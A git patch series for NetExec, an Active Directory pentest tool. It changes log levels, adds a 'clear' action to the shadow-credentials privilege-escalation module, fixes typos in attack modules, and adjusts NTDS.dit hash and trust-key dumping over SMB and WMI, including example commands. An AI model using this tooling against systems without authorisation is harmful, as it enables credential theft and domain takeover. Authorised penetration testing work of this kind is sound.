deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index 96fda170ba..8a19332238 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -175,7 +175,7 @@ def __init__(self, args, db, target): if self.kerberos: self.host = self.hostname - self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}") + self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}") try: self.proto_flow() @@ -242,9 +242,9 @@ def proto_flow(self): self.logger.debug("Kicking off proto_flow") self.proto_logger() if not self.create_conn_obj(): - self.logger.info(f"Failed to create connection object for target {self.host}, exiting...") + self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...") else: - self.logger.debug("Created connection object") + self.logger.info(f"Successfully created connection object for target '{self.host}'") self.enum_host_info() # Construct the output file template using os.path.join for OS compatibility diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 19c96d1bfc..70f51094e4 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -318,7 +318,7 @@ def enum_host_info(self): if not self.kdcHost and self.domain and self.domain == self.targetDomain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None - self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") + self.logger.debug(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") def print_host_info(self): signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"]) @@ -646,7 +646,7 @@ def _is_signing_required(self): return self.conn.isSigningRequired() def create_smbv1_conn(self, check=False): - self.logger.info(f"Creating SMBv1 connection to {self.host}") + self.logger.debug(f"Creating SMBv1 connection to {self.host}") try: conn = SMBConnection( self.remoteName, @@ -661,26 +661,26 @@ def create_smbv1_conn(self, check=False): self.conn = conn except OSError as e: if "Connection reset by peer" in str(e): - self.logger.info(f"SMBv1 might be disabled on {self.host}") + self.logger.debug(f"SMBv1 might be disabled on {self.host}") elif "timed out" in str(e): self.is_timed_out = True self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}") else: - self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}") + self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}") self.smbv1 = False return False except NetBIOSError: - self.logger.info(f"SMBv1 disabled on {self.host}") + self.logger.debug(f"SMBv1 disabled on {self.host}") self.smbv1 = False return False except (Exception, NetBIOSTimeout) as e: - self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}") + self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}") self.smbv1 = False return False return True def create_smbv3_conn(self): - self.logger.info(f"Creating SMBv3 connection to {self.host}") + self.logger.debug(f"Creating SMBv3 connection to {self.host}") try: self.conn = SMBConnection( self.remoteName, @@ -695,7 +695,7 @@ def create_smbv3_conn(self): self.is_timed_out = True self.logger.debug(f"Timeout creating SMBv3 connection to {self.host}") else: - self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}") + self.logger.debug(f"Error creating SMBv3 connection to {self.host}: {e}") self.smbv3 = False return False return True From c98846379f4c6a66ad0e39e3df5d7c302da43814 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 6 Sep 2026 13:41:37 -0400 Subject: [PATCH 270/397] Provide information about excluded hosts more verbosly --- nxc/parsers/ip.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/parsers/ip.py b/nxc/parsers/ip.py index 736a913f6a..e98381621a 100755 --- a/nxc/parsers/ip.py +++ b/nxc/parsers/ip.py @@ -81,7 +81,7 @@ def process_targets(args): original_count = len(targets) excluded_targets = [target for target in targets if target in excluded_ips] targets = [target for target in targets if target not in excluded_ips] - nxc_logger.debug(f"Excluding {original_count - len(targets)} hosts from scan: {excluded_targets}") + nxc_logger.info(f"Excluding {original_count - len(targets)} hosts from scan: {excluded_targets}") return targets From f1e6b38574758d22b3a919ee0cfe3d3d6a9ce40c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 6 Sep 2026 15:05:07 -0400 Subject: [PATCH 271/397] Add clear command to shadow-creds module --- nxc/modules/shadow-creds.py | 24 ++++++++++++++++++++---- 1 file changed, 20 insertions(+), 4 deletions(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index 1210031ad6..4681751baa 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -23,14 +23,14 @@ class NXCModule: """ name = "shadow-creds" - description = "List, add, inspect, remove, backup, or revert Shadow Credentials on a user or computer" + description = "List, add, inspect, remove, clear, backup, or revert Shadow Credentials on a user or computer" supported_protocols = ["ldap"] category = CATEGORY.PRIVILEGE_ESCALATION def options(self, context, module_options): """ TARGET sAMAccountName of the target user or computer (for example, TARGET=user or TARGET=DESKTOP-123456$) - ACTION Action to perform: list, add, info, remove, backup, or revert (default: list) + ACTION Action to perform: list, add, info, remove, clear, backup, or revert (default: list); clear removes all KeyCredentials DEVICE_ID KeyCredential device ID; required for info and remove JSONFILE JSON backup path; required for revert and optional for backup @@ -39,6 +39,7 @@ def options(self, context, module_options): netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=add netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=info DEVICE_ID= netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=remove DEVICE_ID= + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=clear netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=backup JSONFILE=shadow-creds.json netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=revert JSONFILE=shadow-creds.json """ @@ -50,8 +51,8 @@ def options(self, context, module_options): if not self.target: context.log.fail("TARGET is required") return False - if self.action not in {"list", "add", "info", "remove", "backup", "revert"}: - context.log.fail("ACTION must be one of: list, add, info, remove, backup, revert") + if self.action not in {"list", "add", "info", "remove", "clear", "backup", "revert"}: + context.log.fail("ACTION must be one of: list, add, info, remove, clear, backup, revert") return False if self.action in {"info", "remove"} and not self.device_id: context.log.fail(f"DEVICE_ID is required for ACTION={self.action}") @@ -85,6 +86,8 @@ def on_login(self, context, connection): self.info(self.parse_credentials(raw_values)) elif self.action == "remove": self.remove(target_dn, self.parse_credentials(raw_values)) + elif self.action == "clear": + self.clear(target_dn, raw_values) elif self.action == "backup": self.backup(raw_values) elif self.action == "revert": @@ -208,6 +211,19 @@ def remove(self, target_dn, credentials): self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}") + def clear(self, target_dn, raw_values): + if not raw_values: + self.context.log.display(f"No KeyCredentials found on {self.target}") + return + + try: + self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [])]}) + except LDAPSessionError as e: + self.context.log.fail(f"Failed to clear KeyCredentials: {e}") + return + + self.context.log.success(f"Cleared all KeyCredentials from {self.target}") + def backup(self, raw_values): output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json" output_path.parent.mkdir(parents=True, exist_ok=True) From 4ae0dd723b8dfac755e25a3f948597cec4903dea Mon Sep 17 00:00:00 2001 From: r4vanan <> Date: Tue, 8 Sep 2026 22:52:26 -0400 Subject: [PATCH 272/397] Fix spelling mistakes across multiple files --- nxc/modules/coerce_plus.py | 2 +- nxc/modules/efsr_spray.py | 2 +- nxc/modules/impersonate.py | 2 +- nxc/modules/ntds-dump-raw.py | 4 ++-- nxc/modules/remove-mic.py | 2 +- nxc/modules/timeroast.py | 2 +- nxc/protocols/ldap.py | 2 +- nxc/protocols/ldap/kerberos.py | 2 +- nxc/protocols/smb/proto_args.py | 2 +- 9 files changed, 10 insertions(+), 10 deletions(-) diff --git a/nxc/modules/coerce_plus.py b/nxc/modules/coerce_plus.py index 95722581ce..fd8c9e6982 100644 --- a/nxc/modules/coerce_plus.py +++ b/nxc/modules/coerce_plus.py @@ -1083,7 +1083,7 @@ class EFS_HASH_BLOB(NDRSTRUCT): class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT): structure = ( - ("Lenght", DWORD), + ("Length", DWORD), ("SID", RPC_SID), ("Hash", EFS_HASH_BLOB), ("Display", LPWSTR), diff --git a/nxc/modules/efsr_spray.py b/nxc/modules/efsr_spray.py index 03f27cde30..0e7e194026 100644 --- a/nxc/modules/efsr_spray.py +++ b/nxc/modules/efsr_spray.py @@ -13,7 +13,7 @@ def options(self, context: Context, module_options: dict[str, str]): """ FILE_NAME Name of the file which will be tried to create and afterwards delete SHARE_NAME If set, ONLY this share will be used - EXCLUDED_SHARES List of share names which will not be used, seperated by comma + EXCLUDED_SHARES List of share names which will not be used, separated by comma """ def on_login(self, context: Context, connection): diff --git a/nxc/modules/impersonate.py b/nxc/modules/impersonate.py index 0bfc0bc6fe..1f6ac4fda1 100644 --- a/nxc/modules/impersonate.py +++ b/nxc/modules/impersonate.py @@ -101,7 +101,7 @@ def on_admin_login(self, context, connection): context.log.fail("Invalid token ID submitted") except Exception as e: - context.log.fail(f"Error runing command: {e}") + context.log.fail(f"Error running command: {e}") finally: try: connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}") diff --git a/nxc/modules/ntds-dump-raw.py b/nxc/modules/ntds-dump-raw.py index 82211796bf..a209b94445 100644 --- a/nxc/modules/ntds-dump-raw.py +++ b/nxc/modules/ntds-dump-raw.py @@ -519,10 +519,10 @@ def analyze_MFT_header(self, curr_sector): parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:]) if "$FILE_NAME" in parsed_header: - filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1]) + filename_length = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1]) curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00") - curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16") + curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_length * 2)].decode("utf-16") if "$DATA" in parsed_header: dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1]) diff --git a/nxc/modules/remove-mic.py b/nxc/modules/remove-mic.py index 17abc3adf9..d6d47f924c 100644 --- a/nxc/modules/remove-mic.py +++ b/nxc/modules/remove-mic.py @@ -2,7 +2,7 @@ # Dirk-jan Mollema (@_dirkjan) # dlive (@D1iv3) # -# Refernece: +# Reference: # - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/ # - https://github.com/fox-it/cve-2019-1040-scanner # - https://github.com/Dliv3/cve-2019-1040-scanner diff --git a/nxc/modules/timeroast.py b/nxc/modules/timeroast.py index f6d3d4322f..d7835d6b64 100644 --- a/nxc/modules/timeroast.py +++ b/nxc/modules/timeroast.py @@ -97,7 +97,7 @@ def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_ if ready: reply = sock.recvfrom(120)[0] - # Extract RID, hash and "salt" if succesful. + # Extract RID, hash and "salt" if successful. if len(reply) == 68: salt = reply[:48] answer_rid = unpack(" Date: Wed, 9 Sep 2026 10:41:47 +0200 Subject: [PATCH 273/397] revert impacket dep to the original repo --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index c2a207ed00..e1361ab910 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -47,7 +47,7 @@ dependencies = [ "xmltodict>=0.13.0", # Git Dependencies "certipy-ad @ git+https://github.com/Pennyw0rth/Certipy", - "impacket @ git+https://github.com/Pennyw0rth/impacket#wmi_update", + "impacket @ git+https://github.com/fortra/impacket", "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", ] From 0de205c95f6cf89dcc83fc5ba56491dacea6285f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 9 Sep 2026 11:45:47 -0400 Subject: [PATCH 274/397] Fix lock files --- poetry.lock | 10 +++++----- uv.lock | 4 ++-- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/poetry.lock b/poetry.lock index ff28f0276f..d979f9df92 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1095,7 +1095,7 @@ all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] [[package]] name = "impacket" -version = "0.14.0.dev0+20260826.175120.d480b3e5" +version = "0.14.0.dev0+20260909.31915.a2d35007" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -1117,9 +1117,9 @@ six = "*" [package.source] type = "git" -url = "https://github.com/Pennyw0rth/impacket" -reference = "wmi_update" -resolved_reference = "d480b3e52c2de68c8835131c76709cf44867119f" +url = "https://github.com/fortra/impacket" +reference = "HEAD" +resolved_reference = "a2d35007c9717ce791f07efe99db63fd26386661" [[package]] name = "iniconfig" @@ -2993,4 +2993,4 @@ test = ["pytest", "pytest-cov"] [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "0d14ba58153ca84c0a373c8d9180f9d864bc600cf1f67fdabf680f338265172d" +content-hash = "13e80d1f520fc9b9581200e406586cc73197fda393fd66cd51692bd30c4a85c0" diff --git a/uv.lock b/uv.lock index b49b0e6a9e..ce38035345 100644 --- a/uv.lock +++ b/uv.lock @@ -932,8 +932,8 @@ wheels = [ [[package]] name = "impacket" -version = "0.14.0.dev0+20260814.164800.c23b3d55" -source = { git = "https://github.com/fortra/impacket#c23b3d55bc846a2460a459437601a94bfd25a269" } +version = "0.14.0.dev0+20260909.31915.a2d35007" +source = { git = "https://github.com/fortra/impacket#a2d35007c9717ce791f07efe99db63fd26386661" } dependencies = [ { name = "charset-normalizer" }, { name = "flask" }, From 467123465a0780d622e3306e91fd972fd7858ea0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 9 Sep 2026 11:48:41 -0400 Subject: [PATCH 275/397] Formatting --- nxc/protocols/wmi.py | 2 +- nxc/protocols/wmi/remoteops.py | 32 ++++++++++++++++---------------- 2 files changed, 17 insertions(+), 17 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index a766ab1f8b..4db7fb2955 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -374,7 +374,7 @@ def hash_login(self, domain, username, ntlm_hash): self.logger.success(out) return True - def read_file(self, remote_path) -> "bytes | None": + def read_file(self, remote_path) -> bytes | None: self.logger.debug(f"Try reading file {remote_path}") escaped_path = remote_path.replace("\\", "\\\\") diff --git a/nxc/protocols/wmi/remoteops.py b/nxc/protocols/wmi/remoteops.py index 01827a3d3c..2d4b196301 100644 --- a/nxc/protocols/wmi/remoteops.py +++ b/nxc/protocols/wmi/remoteops.py @@ -4,15 +4,15 @@ class RemoteOperations: - def __init__(self, context, shadow_id=None): - self.context = context + def __init__(self, connection, shadow_id=None): + self.connection = connection - self.cimv2_namespace = self.context.get_namespace("//./root/cimv2") + self.cimv2_namespace = self.connection.get_namespace("//./root/cimv2") # Cached variables self.bootkey = None if shadow_id is not None: - self.context.logger.display(f"Using existing VSS Snapshot ID: {shadow_id}") + self.connection.logger.display(f"Using existing VSS Snapshot ID: {shadow_id}") self._shadow_id = shadow_id self._shadow_copy_path = None @@ -23,25 +23,25 @@ def __del__(self): # If we created a Shadow Copy, delete it if self.shadow_copy_created: wmiPath = f'Win32_ShadowCopy.ID="{self.shadow_id}"' - self.context.logger.debug(f"Trying to delete ShadowCopy with ID {self.shadow_id}") + self.connection.logger.debug(f"Trying to delete ShadowCopy with ID {self.shadow_id}") ret = self.cimv2_namespace.DeleteInstance(wmiPath) if (ret.GetCallStatus(0) & 0xffffffff) != 0: - self.context.logger.fail(f"Could not delete ShadowCopy ID {self.shadow_id}. You will need to delete this by yourself.") + self.connection.logger.fail(f"Could not delete ShadowCopy ID {self.shadow_id}. You will need to delete this by yourself.") else: - self.context.logger.debug(f"ShadowCopy with ID {self.shadow_id} successfully deleted") + self.connection.logger.debug(f"ShadowCopy with ID {self.shadow_id} successfully deleted") def create_shadowcopy(self) -> str: # Creating Shadow Volumes shadow_id = None try: win32_shadow_copy, _ = self.cimv2_namespace.GetObject("Win32_ShadowCopy") - self.context.logger.debug("Trying to create SS remotely via WMI") + self.connection.logger.debug("Trying to create SS remotely via WMI") result = win32_shadow_copy.Create("C:\\", "ClientAccessible") self.shadow_copy_created = True shadow_id = result.ShadowID - self.context.logger.debug(f"Shadow Copy created at ID {shadow_id}") + self.connection.logger.debug(f"Shadow Copy created at ID {shadow_id}") except Exception as e: - self.context.logger.debug(f"Cannot create ShadowCopy: {e}") + self.connection.logger.debug(f"Cannot create ShadowCopy: {e}") return shadow_id def get_shadowcopy_path(self, shadow_id=None) -> str: @@ -54,9 +54,9 @@ def get_shadowcopy_path(self, shadow_id=None) -> str: props = obj.getProperties() shadow_copy = {k: v["value"] for k, v in props.items()} device_object = shadow_copy["DeviceObject"] - self.context.logger.debug(f"Found ShadowCopy at {device_object}") + self.connection.logger.debug(f"Found ShadowCopy at {device_object}") except Exception as e: - self.context.logger.debug(f"Cannot found ShadowCopy with ID {shadow_id} :{e}") + self.connection.logger.debug(f"Cannot found ShadowCopy with ID {shadow_id} :{e}") return device_object @property @@ -76,12 +76,12 @@ def get_bootkey(self, output_filename): return self.bootkey system_hive_path = f"{self.shadow_copy_path}\\Windows\\System32\\config\\SYSTEM" - system_hive_recovered = self.context.get_file_single(system_hive_path, f"{output_filename}.system") + system_hive_recovered = self.connection.get_file_single(system_hive_path, f"{output_filename}.system") if system_hive_recovered: - self.context.logger.debug("Got SYSTEM hive") + self.connection.logger.debug("Got SYSTEM hive") local_operations = LocalOperations(f"{output_filename}.system") self.bootkey = local_operations.getBootKey() - self.context.logger.debug(f"Got bootkey: 0x{hexlify(self.bootkey).decode('utf-8')}") + self.connection.logger.debug(f"Got bootkey: 0x{hexlify(self.bootkey).decode('utf-8')}") else: - self.context.logger.fail("Could not get bootkey") + self.connection.logger.fail("Could not get bootkey") return self.bootkey From 7fd40a391c53dfbacdde7e60d25fb43dd0503428 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 9 Sep 2026 11:51:41 -0400 Subject: [PATCH 276/397] Formatting --- nxc/protocols/wmi/remoteops.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/wmi/remoteops.py b/nxc/protocols/wmi/remoteops.py index 2d4b196301..fc1d350f77 100644 --- a/nxc/protocols/wmi/remoteops.py +++ b/nxc/protocols/wmi/remoteops.py @@ -41,7 +41,7 @@ def create_shadowcopy(self) -> str: shadow_id = result.ShadowID self.connection.logger.debug(f"Shadow Copy created at ID {shadow_id}") except Exception as e: - self.connection.logger.debug(f"Cannot create ShadowCopy: {e}") + self.connection.logger.fail(f"Cannot create ShadowCopy: {e}") return shadow_id def get_shadowcopy_path(self, shadow_id=None) -> str: @@ -56,7 +56,7 @@ def get_shadowcopy_path(self, shadow_id=None) -> str: device_object = shadow_copy["DeviceObject"] self.connection.logger.debug(f"Found ShadowCopy at {device_object}") except Exception as e: - self.connection.logger.debug(f"Cannot found ShadowCopy with ID {shadow_id} :{e}") + self.connection.logger.fail(f"Cannot find ShadowCopy with ID {shadow_id} :{e}") return device_object @property From b328661dd4e73dbd774097c53856b4a1a7627d40 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 9 Sep 2026 11:59:07 -0400 Subject: [PATCH 277/397] Formatting --- nxc/protocols/wmi.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 4db7fb2955..67cc5476ef 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -389,7 +389,7 @@ def read_file(self, remote_path) -> bytes | None: iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path) except DCERPCSessionError as e: if e.error_code == 0x80041002: - self.logger.debug(f"Cannot find {remote_path} file") + self.logger.fail(f"Cannot find file '{remote_path}'") return None obj = iWbemClassObject.getProperties() @@ -408,7 +408,6 @@ def read_file(self, remote_path) -> bytes | None: return bytes(file_data[4:4 + file_length]) def get_file_single(self, remote_path, download_path): - if self.args.append_host: download_path = f"{self.hostname}-{remote_path}" @@ -416,7 +415,6 @@ def get_file_single(self, remote_path, download_path): if file_data is None: return False else: - with open(download_path, "wb+") as file: file.write(file_data) return True From 0cc365cef26996c5086ed0dd5e69d2c7b8929624 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 9 Sep 2026 12:27:16 -0400 Subject: [PATCH 278/397] Formatting --- nxc/protocols/wmi.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 67cc5476ef..266cc7412f 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -435,6 +435,7 @@ def add_sam_hash(sam_hash): if "_history" in sam_hash: return username, _, lmhash, nthash, _, _, _ = sam_hash.split(":") + # TODO: Implement wmi creds database add_sam_hash.sam_hashes += 1 add_sam_hash.sam_hashes = 0 @@ -561,10 +562,10 @@ def add_hash(secret_type, secret): if bootkey is None: return - # Get the LSA hive - lsa_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\NTDS\\ntds.dit" - if not self.get_file_single(lsa_hive_path, f"{output_filename}.ntds.dit"): - self.logger.fail("Could not get ntds.dit") + # Get the NTDS.dit file + ntds_file = f"{self.remote_ops.shadow_copy_path}\\Windows\\NTDS\\ntds.dit" + if not self.get_file_single(ntds_file, f"{output_filename}.ntds.dit"): + self.logger.fail("Could not download NTDS.dit file") return NTDS = NTDSHashes( From 8230e9a2d3e2dec86bdf50e491f15c276922d339 Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 9 Sep 2026 20:54:05 +0200 Subject: [PATCH 279/397] fix from update of impacket --- nxc/protocols/smb.py | 8 ++++++-- nxc/protocols/smb/proto_args.py | 2 +- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index a03d939fd1..134ad2a59e 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2477,9 +2477,10 @@ def ntds(self): NTDSFileName = None host_id = self.db.get_hosts(filter_term=self.host)[0][0] printed_kerb_keys_banner = False + printed_trust_keys_banner = False def add_hash(secret_type, secret, host_id): - nonlocal printed_kerb_keys_banner + nonlocal printed_kerb_keys_banner, printed_trust_keys_banner if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS: self.logger.display("Kerberos keys:") printed_kerb_keys_banner = True @@ -2497,6 +2498,9 @@ def add_hash(secret_type, secret, host_id): secret = secret.removesuffix(status) if not self.args.enabled or is_enabled_account or is_current_trust_key: + if is_trust_key and not printed_trust_keys_banner: + self.logger.display("Trust keys:") + printed_trust_keys_banner = True self.logger.highlight(secret) # Filter out computer accounts, history hashes and kerberos keys for adding to db @@ -2562,7 +2566,7 @@ def add_hash(secret_type, secret, host_id): NTDS.dump() ntds_outfile = f"{self.output_filename}.ntds" if self.args.just_trust_keys: - self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} trust keys to {ntds_outfile}") + self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} trust keys to {ntds_outfile}.trustkeys") else: self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database") if self.args.kerberos_keys: diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 8086018a34..84cb947d5f 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -42,7 +42,7 @@ def proto_args(parser, parents): kerb_keys_arg.make_required = [ntds_arg] enabled_arg.make_required = [ntds_arg] cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)") - trust_keys_arg = cred_gathering_group.add_argument("--trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], default=True, help="Dump Trusted Domain Object (TDO) secrets and derive inter-realm Kerberos/RC4 keys (NTDS.dit), default True") + trust_keys_arg = cred_gathering_group.add_argument("--trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], default=True, help="Dump Trusted Domain Object (TDO) secrets and derive inter-realm Kerberos/RC4 keys (NTDS.dit)") just_trust_keys_arg = cred_gathering_group.add_argument("--just-trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Like --trust-keys but dump ONLY the trust keys, skipping every account secret (NTDS.dit)") trust_keys_arg.make_required = [ntds_arg] just_trust_keys_arg.make_required = [ntds_arg] From 98d0549ae1119b0f5e0beda9024b8fb6bee913d1 Mon Sep 17 00:00:00 2001 From: Goultarde Date: Wed, 9 Sep 2026 11:56:14 +0200 Subject: [PATCH 280/397] Respect history for TDO trust keys --- nxc/protocols/smb.py | 3 +-- nxc/protocols/smb/proto_args.py | 2 +- tests/e2e_commands.txt | 1 + 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 134ad2a59e..e5a8147a57 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2493,11 +2493,10 @@ def add_hash(secret_type, secret, host_id): is_enabled_account = secret.endswith(" (status=Enabled)") is_trust_key = " (Incoming" in secret or " (Outgoing" in secret - is_current_trust_key = is_trust_key and ", previous)" not in secret for status in (" (status=Enabled)", " (status=Disabled)", " (status=N/A)"): secret = secret.removesuffix(status) - if not self.args.enabled or is_enabled_account or is_current_trust_key: + if not self.args.enabled or is_enabled_account or is_trust_key: if is_trust_key and not printed_trust_keys_banner: self.logger.display("Trust keys:") printed_trust_keys_banner = True diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 84cb947d5f..583eb1e798 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -38,7 +38,7 @@ def proto_args(parser, parents): # NTDS options kerb_keys_arg = cred_gathering_group.add_argument("--kerberos-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Kerberos AES and DES keys from target DC (NTDS.dit)") exclusive = cred_gathering_group.add_mutually_exclusive_group() - enabled_arg = exclusive.add_argument("--enabled", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only dump enabled targets from DC (NTDS.dit), and current trust keys") + enabled_arg = exclusive.add_argument("--enabled", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only dump enabled targets from DC (NTDS.dit)") kerb_keys_arg.make_required = [ntds_arg] enabled_arg.make_required = [ntds_arg] cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)") diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 06aa1eb9de..b7ed9806f5 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -31,6 +31,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --his netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --history netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --enabled +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --enabled --history netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --kerberos-keys netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --trust-keys netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --just-trust-keys From 8073a798e074816435e63c574faf7eb298db4c8a Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 9 Sep 2026 21:19:39 +0200 Subject: [PATCH 281/397] update lock files --- poetry.lock | 4 ++-- uv.lock | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/poetry.lock b/poetry.lock index cd74ac9edd..19f6afb374 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1095,7 +1095,7 @@ all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] [[package]] name = "impacket" -version = "0.14.0.dev0+20260810.134619.243d64a6" +version = "0.14.0.dev0+20260909.31915.a2d35007" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -1119,7 +1119,7 @@ six = "*" type = "git" url = "https://github.com/fortra/impacket" reference = "HEAD" -resolved_reference = "243d64a67599e24a1c5dd7eb3ff8667d2d5bc2fc" +resolved_reference = "a2d35007c9717ce791f07efe99db63fd26386661" [[package]] name = "iniconfig" diff --git a/uv.lock b/uv.lock index b49b0e6a9e..01b17562b6 100644 --- a/uv.lock +++ b/uv.lock @@ -3,7 +3,7 @@ revision = 3 requires-python = ">=3.10, <4.0" [options] -exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values. +exclude-newer = "2026-09-08T19:14:51.279264021Z" 